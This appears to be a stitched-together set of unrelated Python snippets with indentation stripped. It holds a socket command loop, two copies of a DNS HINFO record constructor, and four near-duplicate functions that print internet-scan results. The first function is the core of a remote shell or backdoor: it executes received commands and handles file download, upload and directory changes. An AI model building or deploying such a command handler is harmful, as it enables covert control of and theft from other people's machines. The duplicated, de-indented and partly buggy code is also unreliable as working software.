def Oder(self):
while True:
try:
data = self.recv(2048)
data = data.decode('utf-8')
if data[:2] == "cd":
os.chdir(data[3:])
self.send(str(os.getcwd()).encode('utf-8'))
elif data[:8] == "download":
print("1")
self.download(data[9:])
elif data[:6] == "upload":
self.upload(data[7:])
self.send("[+] Upload Complete".encode('utf-8'))
# continue
elif data == "uname":
os = platform.platform()
self.send(os.encode('utf-8'))
else:
cmd = subprocess.Popen(data[:],
shell=False,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
command_out_bytes = cmd.stdout.read()
self.send(command_out_bytes)
except Exception as e:
self.send("[+] No such command".encode('utf-8'))
def __init__(self, ttl, cpu, os):
"""
ttl: TTL
cpu: CPU name
os: OS name
"""
super(RecordHINFO, self).__init__(ttl)
self.b_cpu = cpu.encode('UTF-8')
self.b_os = os.encode('UTF-8')
def __init__(self, ttl, cpu, os):
"""
ttl: TTL
cpu: CPU name
os: OS name
"""
super(RecordHINFO, self).__init__(ttl)
self.b_cpu = cpu.encode('UTF-8')
self.b_os = os.encode('UTF-8')
def print_short(res):
max_title_len = 50
title_head = 'Title: '
cut = '[...]'
http_title = res.get('80.http.get.title', 'N/A')
cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name',
'')
cert_alt = res.get(
'443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names',
'')
as_name = res.get('autonomous_system.name', 'N/A')
as_num = res.get('autonomous_system.asn', '')
loc = '%s / %s' % (res.get('location.country_code',
'N/A'), res.get('location.city', 'N/A'))
os = res.get('metadata.os', 'N/A')
tags = res.get('tags', '')
ip = res.get('ip', 'N/A')
http_title = http_title.replace('\n', '\\n')
http_title = http_title.replace('\r', '\\r')
# quick cleanup of list values, atm just show the first element
# or the first followed with a "+" sign to indicate there are more
if isinstance(cert_name, list):
if len(cert_name) > 1: cert_name = cert_name[0] + "+"
else: cert_name = cert_name[0]
if isinstance(cert_alt, list):
if len(cert_alt) > 1: cert_alt = cert_alt[0] + "+"
else: cert_alt = cert_alt[0]
# do some destructive encoding to UTF-8
http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
tags = ', '.join(
[unicode(t.encode('UTF-8'), errors='ignore') for t in tags])
as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
os = unicode(os.encode('UTF-8'), errors='ignore')
loc = unicode(loc.encode('UTF-8'), errors='ignore')
if cert_alt != '' and cert_alt != cert_name:
cert_name = cert_name + ' + ' + cert_alt
# shortun title if too long
if len(http_title) > (max_title_len - len(title_head) - 1):
http_title = http_title[:max_title_len - len(title_head) - len(cut) -
1] + cut
print ip.ljust(16) + \
((title_head + '%s') % http_title).ljust(max_title_len) + \
('SSL: %s' % cert_name).ljust(50) + \
('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
('Loc: %s' % loc).ljust(30) + \
('OS: %s' % os).ljust(15) + \
('Tags: %s' % tags)
def print_short(res):
max_title_len = 50
title_head = 'Title: '
cut = '[...]'
http_title = res.get('80.http.get.title', 'N/A')
cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name', '')
cert_alt = res.get('443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names', '')
as_name = res.get('autonomous_system.name', 'N/A')
as_num = res.get('autonomous_system.asn', '')
loc = '%s / %s' % (res.get('location.country_code', 'N/A'), res.get('location.city', 'N/A'))
os = res.get('metadata.os', 'N/A')
tags = res.get('tags', '')
ip = res.get('ip', 'N/A')
http_title = http_title.replace('\n', '\\n')
http_title = http_title.replace('\r', '\\r')
# quick cleanup of list values, atm just show the first element
# or the first followed with a "+" sign to indicate there are more
if isinstance(cert_name, list):
if len(cert_name) > 1: cert_name = cert_name[0] + "+"
else: cert_name = cert_name[0]
if isinstance(cert_alt, list):
if len(cert_alt) > 1: cert_alt = cert_alt[0] + "+"
else: cert_alt = cert_alt[0]
# do some destructive encoding to UTF-8
http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
tags = ', '.join([ unicode(t.encode('UTF-8'), errors='ignore') for t in tags ])
as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
os = unicode(os.encode('UTF-8'), errors='ignore')
loc = unicode(loc.encode('UTF-8'), errors='ignore')
if cert_alt != '' and cert_alt != cert_name:
cert_name = cert_name + ' + ' + cert_alt
# shortun title if too long
if len(http_title) > (max_title_len - len(title_head) - 1):
http_title = http_title[:max_title_len - len(title_head) - len(cut) - 1] + cut
print ip.ljust(16) + \
((title_head + '%s') % http_title).ljust(max_title_len) + \
('SSL: %s' % cert_name).ljust(50) + \
('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
('Loc: %s' % loc).ljust(30) + \
('OS: %s' % os).ljust(15) + \
('Tags: %s' % tags)
def print_short(res):
max_title_len = 50
title_head = 'Title: '
cut = '[...]'
http_title = res.get('80.http.get.title', ['N/A'])[0]
cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name',
[''])[0]
cert_alt = res.get(
'443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names',
[''])[0]
as_name = res.get('autonomous_system.name', ['N/A'])[0]
as_num = res.get('autonomous_system.asn', [''])[0]
loc = '%s / %s' % (res.get('location.country_code', ['N/A'])[0],
res.get('location.city', ['N/A'])[0])
os = res.get('metadata.os', ['N/A'])[0]
tags = res.get('tags', [])
http_title = http_title.replace('\n', '\\n')
http_title = http_title.replace('\r', '\\r')
# do some destructive encoding to ascii
http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
tags = [unicode(t.encode('UTF-8'), errors='ignore') for t in tags]
as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
os = unicode(os.encode('UTF-8'), errors='ignore')
loc = unicode(loc.encode('UTF-8'), errors='ignore')
if cert_alt != '':
cert_name = cert_name + ' + ' + cert_alt
# shortun title if too long
if len(http_title) > (max_title_len - len(title_head) - 1):
http_title = http_title[:max_title_len - len(title_head) - len(cut) -
1] + cut
print res['ip'].ljust(16) + \
((title_head + '%s') % http_title).ljust(max_title_len) + \
('SSL: %s' % cert_name).ljust(50) + \
('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
('Loc: %s' % loc).ljust(30) + \
('OS: %s' % os).ljust(15) + \
('Tags: %s' % ', '.join(tags))
def print_short(res):
max_title_len = 50
title_head = 'Title: '
cut = '[...]'
http_title = res.get('80.http.get.title', ['N/A'])[0]
cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name', [''])[0]
cert_alt = res.get('443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names', [''])[0]
as_name = res.get('autonomous_system.name', ['N/A'])[0]
as_num = res.get('autonomous_system.asn', [''])[0]
loc = '%s / %s' % (res.get('location.country_code', ['N/A'])[0], res.get('location.city', ['N/A'])[0])
os = res.get('metadata.os', ['N/A'])[0]
tags = res.get('tags', [])
http_title = http_title.replace('\n', '\\n')
http_title = http_title.replace('\r', '\\r')
# do some destructive encoding to ascii
http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
tags = [ unicode(t.encode('UTF-8'), errors='ignore') for t in tags]
as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
os = unicode(os.encode('UTF-8'), errors='ignore')
loc = unicode(loc.encode('UTF-8'), errors='ignore')
if cert_alt != '':
cert_name = cert_name + ' + ' + cert_alt
# shortun title if too long
if len(http_title) > (max_title_len - len(title_head) - 1):
http_title = http_title[:max_title_len - len(title_head) - len(cut) - 1] + cut
print res['ip'].ljust(16) + \
((title_head + '%s') % http_title).ljust(max_title_len) + \
('SSL: %s' % cert_name).ljust(50) + \
('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
('Loc: %s' % loc).ljust(30) + \
('OS: %s' % os).ljust(15) + \
('Tags: %s' % ', '.join(tags))